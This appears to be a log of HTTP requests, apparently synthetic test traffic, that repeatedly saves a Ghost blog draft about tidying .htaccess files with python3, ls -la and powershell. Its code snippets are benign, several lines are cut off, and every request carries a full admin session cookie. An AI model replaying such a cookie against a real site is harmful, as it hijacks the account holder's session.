\\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27Shell+tips+%26+.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8147", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/assets/code-editor-view-BY_ieC4h.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-CxXAu_cv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DbQ0Bmfy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D9v2t9Oj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DOtgfBo2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8206", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8145", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
